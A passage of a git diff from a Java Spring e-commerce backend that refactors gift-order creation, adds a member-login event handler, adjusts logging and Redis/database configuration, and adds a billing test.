b/common-api/src/main/java/cn/lili/controller/common/UploadController.java index 38d3cd0d..b78b5032 100644 --- a/common-api/src/main/java/cn/lili/controller/common/UploadController.java +++ b/common-api/src/main/java/cn/lili/controller/common/UploadController.java @@ -52,9 +52,6 @@ public class UploadController { @Autowired private Cache cache; - @Autowired - private SystemSettingProperties systemSettingProperties; - @ApiOperation(value = "文件上传") @PostMapping(value = "/file") public ResultMessage upload(MultipartFile file, diff --git a/common-api/src/main/resources/application.yml b/common-api/src/main/resources/application.yml index 5c35ef17..03760caf 100644 --- a/common-api/src/main/resources/application.yml +++ b/common-api/src/main/resources/application.yml @@ -108,7 +108,7 @@ spring: props: #是否打印逻辑SQL语句和实际SQL语句,建议调试时打印,在生产环境关闭 sql: - show: true + show: false # 忽略鉴权url ignored: @@ -176,7 +176,7 @@ logging: config: classpath:logback-spring.xml # 输出级别 level: - cn.lili: info + root: error # org.hibernate: debug # org.springframework: debug file: diff --git a/common-api/src/main/resources/redisson.yaml b/common-api/src/main/resources/redisson.yaml new file mode 100644 index 00000000..ac8dfc66 --- /dev/null +++ b/common-api/src/main/resources/redisson.yaml @@ -0,0 +1,21 @@ +--- +singleServerConfig: + idleConnectionTimeout: 10000 + connectTimeout: 10000 + timeout: 3000 + retryAttempts: 3 + retryInterval: 1500 + password: lilishop + subscriptionsPerConnection: 5 + clientName: null + address: "redis://127.0.0.1:6379" + subscriptionConnectionMinimumIdleSize: 1 + subscriptionConnectionPoolSize: 50 + connectionMinimumIdleSize: 24 + connectionPoolSize: 64 + database: 0 + dnsMonitoringInterval: 5000 +threads: 16 +nettyThreads: 32 +codec: ! {} +transportMode: "NIO" \ No newline at end of file diff --git a/config/application.yml b/config/application.yml index 5211d997..ed546696 100644 --- a/config/application.yml +++ b/config/application.yml @@ -72,8 +72,8 @@ spring: url: jdbc:mysql://192.168.0.116:3306/clerk?useUnicode=true&characterEncoding=utf-8&useSSL=false&allowPublicKeyRetrieval=true&serverTimezone=Asia/Shanghai username: root password: lilishop - maxActive: 20 - initialSize: 5 + maxActive: 50 + initialSize: 20 maxWait: 60000 minIdle: 5 timeBetweenEvictionRunsMillis: 60000 @@ -183,7 +183,7 @@ mybatis-plus: logging: # 输出级别 level: - cn.lili: info + root: info # org.hibernate: debug # org.springframework: debug # org.springframework.data.mongodb.core: debug diff --git a/consumer/src/main/java/cn/lili/event/MemberLoginEvent.java b/consumer/src/main/java/cn/lili/event/MemberLoginEvent.java new file mode 100644 index 00000000..cc00c400 --- /dev/null +++ b/consumer/src/main/java/cn/lili/event/MemberLoginEvent.java @@ -0,0 +1,19 @@ +package cn.lili.event; + +import cn.lili.modules.member.entity.dos.Member; + +/** + * 会员登录消息 + * + * @author Chopper + * @since 2020/11/17 7:13 下午 + */ +public interface MemberLoginEvent { + + /** + * 会员登录 + * + * @param member 会员 + */ + void memberLogin(Member member); +} diff --git a/consumer/src/main/java/cn/lili/event/MemberRegisterEvent.java b/consumer/src/main/java/cn/lili/event/MemberRegisterEvent.java index eef3231e..1264468e 100644 --- a/consumer/src/main/java/cn/lili/event/MemberRegisterEvent.java +++ b/consumer/src/main/java/cn/lili/event/MemberRegisterEvent.java @@ -11,7 +11,7 @@ import cn.lili.modules.member.entity.dos.Member; public interface MemberRegisterEvent { /** - * 会员登录 + * 会员注册 * * @param member 会员 */ diff --git a/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java b/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java index ca7b1385..a3507d83 100644 --- a/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/FullDiscountExecute.java @@ -10,6 +10,7 @@ import cn.lili.common.utils.SnowFlake; import cn.lili.event.OrderStatusChangeEvent; import cn.lili.event.TradeEvent; import cn.lili.modules.goods.entity.dos.GoodsSku; +import cn.lili.modules.goods.entity.enums.GoodsTypeEnum; import cn.lili.modules.goods.service.GoodsSkuService; import cn.lili.modules.member.entity.enums.PointTypeEnum; import cn.lili.modules.member.service.MemberService; @@ -34,6 +35,7 @@ import org.springframework.stereotype.Service; import java.util.ArrayList; import java.util.List; +import java.util.stream.Collectors; /** * 订单状态处理类 @@ -82,7 +84,7 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { if ((cartVO.getGiftList() != null && !cartVO.getGiftList().isEmpty()) || (cartVO.getGiftPoint() != null && cartVO.getGiftPoint() > 0) || (cartVO.getGiftCouponList() != null && !cartVO.getGiftCouponList().isEmpty())) { - cache.put(CachePrefix.ORDER.getPrefix() + cartVO.getSn(), cartVO); + cache.put(CachePrefix.ORDER.getPrefix() + cartVO.getSn(), JSONUtil.toJsonStr(cartVO)); } } ); @@ -90,9 +92,10 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { @Override public void orderChange(OrderMessage orderMessage) { + //如果订单已支付 if (orderMessage.getNewStatus().equals(OrderStatusEnum.PAID)) { log.debug("满减活动,订单状态操作 {}", CachePrefix.ORDER.getPrefix() + orderMessage.getOrderSn()); - renderGift((CartVO) cache.get(CachePrefix.ORDER.getPrefix() + orderMessage.getOrderSn()), orderMessage); + renderGift(JSONUtil.toBean(cache.getString(CachePrefix.ORDER.getPrefix() + orderMessage.getOrderSn()), CartVO.class), orderMessage); } } @@ -142,49 +145,89 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { * @param originOrder 赠品原订单信息 */ private void generatorGiftOrder(List skuIds, Order originOrder) { + //获取赠品列表 + List goodsSkus = goodsSkuService.getGoodsSkuByIdFromCache(skuIds); + + //赠品判定 + if (goodsSkus == null || goodsSkus.isEmpty()) { + log.error("赠品不存在:{}", skuIds); + return; + } + + //赠品分类,分为实体商品/虚拟商品/电子卡券 + List physicalSkus = goodsSkus.stream().filter(goodsSku -> goodsSku.getGoodsType().equals(GoodsTypeEnum.PHYSICAL_GOODS.name())).collect(Collectors.toList()); + List virtualSkus = goodsSkus.stream().filter(goodsSku -> goodsSku.getGoodsType().equals(GoodsTypeEnum.VIRTUAL_GOODS.name())).collect(Collectors.toList()); + List eCouponSkus = goodsSkus.stream().filter(goodsSku -> goodsSku.getGoodsType().equals(GoodsTypeEnum.E_COUPON.name())).collect(Collectors.toList()); + + //如果赠品不为空,则生成对应的赠品订单 + if (!physicalSkus.isEmpty()) { + giftOrderHandler(physicalSkus, originOrder, OrderTypeEnum.NORMAL); + } + if (!virtualSkus.isEmpty()) { + giftOrderHandler(virtualSkus, originOrder, OrderTypeEnum.VIRTUAL); + } + if (!eCouponSkus.isEmpty()) { + giftOrderHandler(eCouponSkus, originOrder, OrderTypeEnum.E_COUPON); + } + } + + /** + * 赠品订单处理 + * + * @param skuList 赠品列表 + * @param originOrder 原始订单 + * @param orderTypeEnum 订单类型 + */ + private void giftOrderHandler(List skuList, Order originOrder, OrderTypeEnum orderTypeEnum) { + //初始化订单对象/订单日志/自订单 + Order order = new Order(); List orderItems = new ArrayList<>(); List orderLogs = new ArrayList<>(); - Order order = new Order(); + //初始化价格详情 PriceDetailDTO priceDetailDTO = new PriceDetailDTO(); + //复制通用属性 BeanUtil.copyProperties(originOrder, order, "id"); BeanUtil.copyProperties(priceDetailDTO, order, "id"); + //生成订单参数 order.setSn(SnowFlake.createStr("G")); - order.setOrderType(OrderPromotionTypeEnum.GIFT.name()); + order.setOrderPromotionType(OrderPromotionTypeEnum.GIFT.name()); order.setOrderStatus(OrderStatusEnum.UNPAID.name()); order.setPayStatus(PayStatusEnum.PAID.name()); - order.setDeliverStatus(DeliverStatusEnum.UNDELIVERED.name()); + order.setOrderType(orderTypeEnum.name()); order.setNeedReceipt(false); order.setPriceDetailDTO(priceDetailDTO); order.setClientType(originOrder.getClientType()); + //订单日志 String message = "赠品订单[" + order.getSn() + "]创建"; orderLogs.add(new OrderLog(order.getSn(), originOrder.getMemberId(), UserEnums.MEMBER.name(), originOrder.getMemberName(), message)); - for (String skuId : skuIds) { - GoodsSku goodsSkuByIdFromCache = goodsSkuService.getGoodsSkuByIdFromCache(skuId); + //生成子订单 + for (GoodsSku goodsSku : skuList) { OrderItem orderItem = new OrderItem(); - BeanUtil.copyProperties(goodsSkuByIdFromCache, orderItem, "id"); + BeanUtil.copyProperties(goodsSku, orderItem, "id"); BeanUtil.copyProperties(priceDetailDTO, orderItem, "id"); orderItem.setAfterSaleStatus(OrderItemAfterSaleStatusEnum.NEW.name()); orderItem.setCommentStatus(CommentStatusEnum.NEW.name()); orderItem.setComplainStatus(OrderComplaintStatusEnum.NEW.name()); orderItem.setNum(1); orderItem.setOrderSn(order.getSn()); - orderItem.setImage(goodsSkuByIdFromCache.getThumbnail()); - orderItem.setGoodsName(goodsSkuByIdFromCache.getGoodsName()); - orderItem.setSkuId(goodsSkuByIdFromCache.getId()); - orderItem.setCategoryId(goodsSkuByIdFromCache.getCategoryPath().substring( - goodsSkuByIdFromCache.getCategoryPath().lastIndexOf(",") + 1 + orderItem.setImage(goodsSku.getThumbnail()); + orderItem.setGoodsName(goodsSku.getGoodsName()); + orderItem.setSkuId(goodsSku.getId()); + orderItem.setCategoryId(goodsSku.getCategoryPath().substring( + goodsSku.getCategoryPath().lastIndexOf(",") + 1 )); - orderItem.setGoodsPrice(goodsSkuByIdFromCache.getPrice()); + orderItem.setGoodsPrice(goodsSku.getPrice()); orderItem.setPriceDetailDTO(priceDetailDTO); orderItems.add(orderItem); } + //保存订单 orderService.save(order); orderItemService.saveBatch(orderItems); orderLogService.saveBatch(orderLogs); - //发送订单已付款消息 + //发送订单已付款消息(PS:不在这里处理逻辑是因为期望加交给消费者统一处理库存等等问题) OrderMessage orderMessage = new OrderMessage(); orderMessage.setOrderSn(order.getSn()); orderMessage.setPaymentMethod(order.getPaymentMethod()); @@ -193,7 +236,5 @@ public class FullDiscountExecute implements TradeEvent, OrderStatusChangeEvent { String destination = rocketmqCustomProperties.getOrderTopic() + ":" + OrderTagsEnum.STATUS_CHANGE.name(); //发送订单变更mq消息 rocketMQTemplate.asyncSend(destination, JSONUtil.toJsonStr(orderMessage), RocketmqSendCallbackBuilder.commonCallback()); - - } } diff --git a/consumer/src/main/java/cn/lili/event/impl/MemberExecute.java b/consumer/src/main/java/cn/lili/event/impl/MemberExecute.java new file mode 100644 index 00000000..57e4c2fb --- /dev/null +++ b/consumer/src/main/java/cn/lili/event/impl/MemberExecute.java @@ -0,0 +1,25 @@ +package cn.lili.event.impl; + +import cn.lili.event.MemberLoginEvent; +import cn.lili.modules.member.entity.dos.Member; +import cn.lili.modules.member.service.MemberService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +/** + * 会员自身业务 + * + * @author Chopper + * @version v1.0 + * 2022-01-11 11:08 + */ +@Service +public class MemberExecute implements MemberLoginEvent { + @Autowired + private MemberService memberService; + + @Override + public void memberLogin(Member member) { + memberService.updateMemberLoginTime(member.getId()); + } +} diff --git a/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java b/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java index ab4a8d1a..e709ed08 100644 --- a/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/MemberPointExecute.java @@ -103,14 +103,18 @@ public class MemberPointExecute implements MemberRegisterEvent, GoodsCommentComp } case COMPLETED: { Order order = orderService.getBySn(orderMessage.getOrderSn()); - //根据订单编号获取订单数据,如果订单促销类型不为空,并且订单促销类型为积分订单 则直接返回 - if (StringUtils.isNotEmpty(order.getOrderPromotionType()) && order.getOrderPromotionType().equals(OrderPromotionTypeEnum.POINTS.name())) { + //如果是积分订单 则直接返回 + if (StringUtils.isNotEmpty(order.getOrderPromotionType()) + && order.getOrderPromotionType().equals(OrderPromotionTypeEnum.POINTS.name())) { return; } //获取积分设置 PointSetting pointSetting = getPointSetting(); + if (pointSetting.getConsumer() == 0) { + return; + } //计算赠送积分数量 - Double point = CurrencyUtil.mul(pointSetting.getMoney(), order.getFlowPrice(), 0); + Double point = CurrencyUtil.mul(pointSetting.getConsumer(), order.getFlowPrice(), 0); //赠送会员积分 memberService.updateMemberPoint(point.longValue(), PointTypeEnum.INCREASE.name(), order.getMemberId(), "会员下单,赠送积分" + point + "分"); break; diff --git a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java index 39fdf01a..eb8ed3d7 100644 --- a/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java +++ b/consumer/src/main/java/cn/lili/event/impl/StockUpdateExecute.java @@ -14,8 +14,8 @@ import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.KanjiaActivity; import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.dto.KanjiaActivityGoodsDTO; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.vos.PointsGoodsVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; import cn.lili.modules.promotion.service.KanjiaActivityService; import cn.lili.modules.promotion.service.PointsGoodsService; @@ -154,14 +154,11 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { * @param stocks */ private void checkStocks(List stocks, OrderDetailVO order) { - for (int i = 0; i < stocks.size(); i++) { - if (null == stocks.get(i)) { - initSkuCache(order.getOrderItems()); - initPromotionCache(order.getOrderItems()); - return; - } - + if (order.getOrderItems().size() == stocks.size()) { + return; } + initSkuCache(order.getOrderItems()); + initPromotionCache(order.getOrderItems()); } /** @@ -298,7 +295,7 @@ public class StockUpdateExecute implements OrderStatusChangeEvent { pointsGoodsService.updateById(pointsGoodsVO); } else { PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); - searchParams.setPromotionStatus(promotionTypeEnum.name()); + searchParams.setPromotionType(promotionTypeEnum.name()); searchParams.setPromotionId(orderItem.getPromotionId()); searchParams.setSkuId(orderItem.getSkuId()); PromotionGoods pGoods = promotionGoodsService.getPromotionsGoods(searchParams); diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index a18c3d03..8f9d2ed4 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -22,10 +22,10 @@ import cn.lili.modules.member.entity.dos.FootPrint; import cn.lili.modules.member.entity.dos.MemberEvaluation; import cn.lili.modules.member.service.FootprintService; import cn.lili.modules.member.service.GoodsCollectionService; +import cn.lili.modules.promotion.entity.dos.BasePromotions; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionService; import cn.lili.modules.search.entity.dos.EsGoodsIndex; @@ -133,6 +133,7 @@ public class GoodsMessageListener implements RocketMQListener { case GENERATOR_GOODS_INDEX: try { String goodsId = new String(messageExt.getBody()); + log.info("生成索引: {}", goodsId); Goods goods = this.goodsService.getById(goodsId); updateGoodsIndex(goods); } catch (Exception e) { @@ -144,7 +145,6 @@ public class GoodsMessageListener implements RocketMQListener { break; case DELETE_GOODS_INDEX_PROMOTIONS: BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class); - log.info("删除索引信息: {}", promotions); if (CharSequenceUtil.isNotEmpty(promotions.getScopeId())) { this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(Arrays.asList(promotions.getScopeId().split(",")), promotions.getId()); } else { @@ -188,6 +188,7 @@ public class GoodsMessageListener implements RocketMQListener { case GOODS_AUDIT: Goods goods = JSONUtil.toBean(new String(messageExt.getBody()), Goods.class); updateGoodsNum(goods); + updateGoodsIndex(goods); break; //删除商品 case GOODS_DELETE: @@ -258,12 +259,13 @@ public class GoodsMessageListener implements RocketMQListener { searchParams.setCategoryPath(promotions.getScopeId()); List goodsSkuByList = this.goodsSkuService.getGoodsSkuByList(searchParams); List skuIds = goodsSkuByList.stream().map(GoodsSku::getId).collect(Collectors.toList()); + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuIds, promotions.getId()); this.goodsIndexService.updateEsGoodsIndexPromotions(skuIds, promotions, esPromotionKey); } else if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { this.goodsIndexService.updateEsGoodsIndexAllByList(promotions, esPromotionKey); } } catch (Exception e) { - log.error("生成商品索引促销信息执行异常,参数信息 {}", promotionsJsonStr); + log.error("生成商品索引促销信息执行异常", e); } } @@ -311,6 +313,8 @@ public class GoodsMessageListener implements RocketMQListener { GoodsSearchParams searchParams = new GoodsSearchParams(); searchParams.setGoodsId(goods.getId()); List goodsSkuList = this.goodsSkuService.getGoodsSkuByList(searchParams); + log.info("goods:{}", goods); + log.info("goodsSkuList:{}", goodsSkuList); if (goods.getAuthFlag().equals(GoodsAuthEnum.PASS.name()) && goods.getMarketEnable().equals(GoodsStatusEnum.UPPER.name()) && Boolean.FALSE.equals(goods.getDeleteFlag())) { @@ -339,6 +343,8 @@ public class GoodsMessageListener implements RocketMQListener { EsGoodsIndex esGoodsOld = goodsIndexService.findById(goodsSku.getId()); EsGoodsIndex goodsIndex = this.settingUpGoodsIndexData(goods, goodsSku); goodsIndex.setSkuSource(skuSource--); + log.info("goodsSku:{}", goodsSku); + log.info("esGoodsOld:{}", esGoodsOld); //如果商品库存不为0,并且es中有数据 if (goodsSku.getQuantity() > 0 && esGoodsOld == null) { log.info("生成商品索引 {}", goodsIndex); @@ -384,8 +390,8 @@ public class GoodsMessageListener implements RocketMQListener { } if (goodsIndex.getPromotionMap() == null || goodsIndex.getPromotionMap().isEmpty()) { - Map goodsCurrentPromotionMap = promotionService.getGoodsPromotionMap(goodsIndex); - goodsIndex.setPromotionMap(goodsCurrentPromotionMap); + Map goodsCurrentPromotionMap = promotionService.getGoodsSkuPromotionMap(goodsIndex.getStoreId(), goodsIndex.getId()); + goodsIndex.setPromotionMapJson(JSONUtil.toJsonStr(goodsCurrentPromotionMap)); } } diff --git a/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java b/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java index 2e69d28a..ab767f10 100644 --- a/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java @@ -1,6 +1,7 @@ package cn.lili.listener; import cn.hutool.json.JSONUtil; +import cn.lili.event.MemberLoginEvent; import cn.lili.event.MemberPointChangeEvent; import cn.lili.event.MemberRegisterEvent; import cn.lili.event.MemberWithdrawalEvent; @@ -51,6 +52,12 @@ public class MemberMessageListener implements RocketMQListener { @Autowired private List memberSignEvents; + /** + * 会员注册 + */ + @Autowired + private List memberLoginEvents; + @Override public void onMessage(MessageExt messageExt) { @@ -69,6 +76,21 @@ public class MemberMessageListener implements RocketMQListener { } } break; + + case MEMBER_LOGIN: + + for (MemberLoginEvent memberLoginEvent : memberLoginEvents) { + try { + Member member = JSONUtil.toBean(new String(messageExt.getBody()), Member.class); + memberLoginEvent.memberLogin(member); + } catch (Exception e) { + log.error("会员{},在{}业务中,状态修改事件执行异常", + new String(messageExt.getBody()), + memberLoginEvent.getClass().getName(), + e); + } + } + break; //会员签到 case MEMBER_SING: MemberSign memberSign = JSONUtil.toBean(new String(messageExt.getBody()), MemberSign.class); diff --git a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java index 983fd87a..62fa3d08 100644 --- a/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/NoticeSendMessageListener.java @@ -5,7 +5,6 @@ import cn.lili.common.enums.SwitchEnum; import cn.lili.common.vo.PageVO; import cn.lili.modules.member.entity.vo.MemberSearchVO; import cn.lili.modules.member.entity.vo.MemberVO; -import cn.lili.modules.member.mapper.MemberMapper; import cn.lili.modules.member.service.MemberService; import cn.lili.modules.message.entity.dos.MemberMessage; import cn.lili.modules.message.entity.dos.Message; @@ -28,7 +27,6 @@ import org.apache.rocketmq.spring.core.RocketMQListener; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; -import javax.annotation.Resource; import java.util.ArrayList; import java.util.List; @@ -42,11 +40,6 @@ import java.util.List; @RocketMQMessageListener(topic = "${lili.data.rocketmq.notice-send-topic}", consumerGroup = "${lili.data.rocketmq.notice-send-group}") public class NoticeSendMessageListener implements RocketMQListener { - /** - * 会员 - */ - @Resource - private MemberMapper memberMapper; /** * 短信 */ @@ -82,7 +75,7 @@ public class NoticeSendMessageListener implements RocketMQListener { //发送全部会员 if (smsReachDTO.getSmsRange().equals(RangeEnum.ALL.name())) { //获取所有会员的手机号 - List list = memberMapper.getAllMemberMobile(); + List list = memberService.getAllMemberMobile(); smsUtil.sendBatchSms(smsReachDTO.getSignName(), list, smsReachDTO.getMessageCode()); //判断为发送部分用户 } else { diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java index f197ab07..958402db 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/bill/BillExecute.java @@ -3,13 +3,12 @@ package cn.lili.timetask.handler.impl.bill; import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.lili.modules.store.entity.dto.StoreSettlementDay; -import cn.lili.modules.store.mapper.StoreDetailMapper; import cn.lili.modules.store.service.BillService; +import cn.lili.modules.store.service.StoreDetailService; import cn.lili.timetask.handler.EveryDayExecute; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; -import javax.annotation.Resource; import java.util.List; /** @@ -29,8 +28,8 @@ public class BillExecute implements EveryDayExecute { /** * 店铺详情 */ - @Resource - private StoreDetailMapper storeDetailMapper; + @Autowired + private StoreDetailService storeDetailService; /** * 1.查询今日待结算的商家 @@ -44,18 +43,18 @@ public class BillExecute implements EveryDayExecute { int day = DateUtil.date().dayOfMonth(); //获取待结算商家列表 - List storeList = storeDetailMapper.getSettlementStore(day); + List storeList = storeDetailService.getSettlementStore(day); //获取当前时间 - DateTime endTime =DateUtil.date(); + DateTime endTime = DateUtil.date(); //批量商家结算 for (StoreSettlementDay storeSettlementDay : storeList) { //生成结算单 - billService.createBill(storeSettlementDay.getStoreId(), storeSettlementDay.getSettlementDay(),endTime); + billService.createBill(storeSettlementDay.getStoreId(), storeSettlementDay.getSettlementDay(), endTime); //修改店铺结算时间 - storeDetailMapper.updateSettlementDay(storeSettlementDay.getStoreId(), endTime); + storeDetailService.updateSettlementDay(storeSettlementDay.getStoreId(), endTime); } } } diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java index bfe509b3..f0b8a077 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java @@ -146,7 +146,7 @@ public class OrderEveryDayTaskExecute implements EveryDayExecute { memberEvaluationDTO.setDescriptionScore(5); memberEvaluationDTO.setServiceScore(5); - memberEvaluationService.addMemberEvaluation(memberEvaluationDTO); + memberEvaluationService.addMemberEvaluation(memberEvaluationDTO, false); } } } diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java index c996005a..d7a3db4c 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/promotion/PromotionEverydayExecute.java @@ -59,7 +59,9 @@ public class PromotionEverydayExecute implements EveryDayExecute { private void addSeckill() { Setting setting = settingService.get(SettingEnum.SECKILL_SETTING.name()); SeckillSetting seckillSetting = new Gson().fromJson(setting.getSettingValue(), SeckillSetting.class); - Seckill seckill = new Seckill(SeckillService.PRE_CREATION, seckillSetting.getHours(), seckillSetting.getSeckillRule()); - seckillService.savePromotions(seckill); + for (int i = 1; i <= SeckillService.PRE_CREATION; i++) { + Seckill seckill = new Seckill(i, seckillSetting.getHours(), seckillSetting.getSeckillRule()); + seckillService.savePromotions(seckill); + } } } diff --git a/consumer/src/main/java/cn/lili/trigger/AbstractDelayQueueListen.java b/consumer/src/main/java/cn/lili/trigger/AbstractDelayQueueListen.java index 2ac74f98..708f58a9 100644 --- a/consumer/src/main/java/cn/lili/trigger/AbstractDelayQueueListen.java +++ b/consumer/src/main/java/cn/lili/trigger/AbstractDelayQueueListen.java @@ -5,10 +5,10 @@ import cn.lili.cache.Cache; import cn.lili.common.utils.ThreadPoolUtil; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationRunner; import org.springframework.data.redis.core.DefaultTypedTuple; import org.springframework.util.CollectionUtils; -import javax.annotation.PostConstruct; import java.util.Set; import java.util.concurrent.TimeUnit; @@ -19,7 +19,7 @@ import java.util.concurrent.TimeUnit; * @since 2020/11/7 **/ @Slf4j -public abstract class AbstractDelayQueueListen { +public abstract class AbstractDelayQueueListen implements ApplicationRunner { @Autowired private Cache cache; @@ -87,7 +87,6 @@ public abstract class AbstractDelayQueueListen { /** * 监听队列 */ - @PostConstruct public void init() { ThreadPoolUtil.getPool().execute(this::startDelayQueueMachine); } diff --git a/consumer/src/main/java/cn/lili/trigger/listen/PromotionDelayQueueListen.java b/consumer/src/main/java/cn/lili/trigger/listen/PromotionDelayQueueListen.java index 4b2845b0..66deba66 100644 --- a/consumer/src/main/java/cn/lili/trigger/listen/PromotionDelayQueueListen.java +++ b/consumer/src/main/java/cn/lili/trigger/listen/PromotionDelayQueueListen.java @@ -1,11 +1,12 @@ package cn.lili.trigger.listen; import cn.hutool.json.JSONUtil; +import cn.lili.trigger.AbstractDelayQueueListen; import cn.lili.trigger.enums.DelayQueueEnums; import cn.lili.trigger.interfaces.TimeTrigger; import cn.lili.trigger.model.TimeTriggerMsg; -import cn.lili.trigger.AbstractDelayQueueListen; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.ApplicationArguments; import org.springframework.stereotype.Component; /** @@ -31,4 +32,9 @@ public class PromotionDelayQueueListen extends AbstractDelayQueueListen { public String setDelayQueueName() { return DelayQueueEnums.PROMOTION.name(); } + + @Override + public void run(ApplicationArguments args) throws Exception { + this.init(); + } } diff --git a/consumer/src/main/resources/application.yml b/consumer/src/main/resources/application.yml index e142ef08..a1125b89 100644 --- a/consumer/src/main/resources/application.yml +++ b/consumer/src/main/resources/application.yml @@ -111,7 +111,7 @@ spring: props: #是否打印逻辑SQL语句和实际SQL语句,建议调试时打印,在生产环境关闭 sql: - show: true + show: false # 忽略鉴权url ignored: @@ -179,7 +179,7 @@ logging: config: classpath:logback-spring.xml # 输出级别 level: - cn.lili: info + root: error # org.hibernate: debug # org.springframework: debug file: diff --git a/consumer/src/main/resources/redisson.yaml b/consumer/src/main/resources/redisson.yaml new file mode 100644 index 00000000..ac8dfc66 --- /dev/null +++ b/consumer/src/main/resources/redisson.yaml @@ -0,0 +1,21 @@ +--- +singleServerConfig: + idleConnectionTimeout: 10000 + connectTimeout: 10000 + timeout: 3000 + retryAttempts: 3 + retryInterval: 1500 + password: lilishop + subscriptionsPerConnection: 5 + clientName: null + address: "redis://127.0.0.1:6379" + subscriptionConnectionMinimumIdleSize: 1 + subscriptionConnectionPoolSize: 50 + connectionMinimumIdleSize: 24 + connectionPoolSize: 64 + database: 0 + dnsMonitoringInterval: 5000 +threads: 16 +nettyThreads: 32 +codec: ! {} +transportMode: "NIO" \ No newline at end of file diff --git a/consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java b/consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java new file mode 100644 index 00000000..969fa7fc --- /dev/null +++ b/consumer/src/test/java/cn/lili/buyer/test/bill/BillTest.java @@ -0,0 +1,61 @@ +package cn.lili.buyer.test.bill; + +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.lili.modules.store.entity.dto.StoreSettlementDay; +import cn.lili.modules.store.service.BillService; +import cn.lili.modules.store.service.StoreDetailService; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.extension.ExtendWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.junit.jupiter.SpringExtension; + +import java.util.List; + +/** + * @author paulG + * @since 2022/1/10 + **/ +@ExtendWith(SpringExtension.class) +@SpringBootTest +public class BillTest { + + + /** + * 结算单 + */ + @Autowired + private BillService billService; + + /** + * 店铺详情 + */ + @Autowired + private StoreDetailService storeDetailService; + + @Test + void createBillTest() { + //获取当前天数 + int day = DateUtil.date().dayOfMonth(); + + //获取待结算商家列表 + List storeList = storeDetailService.getSettlementStore(day); + + //获取当前时间 + DateTime endTime = DateUtil.date(); + //批量商家结算 + for (StoreSettlementDay storeSettlementDay : storeList) { + + //生成结算单 + billService.createBill(storeSettlementDay.getStoreId(), storeSettlementDay.getSettlementDay(), endTime); + + 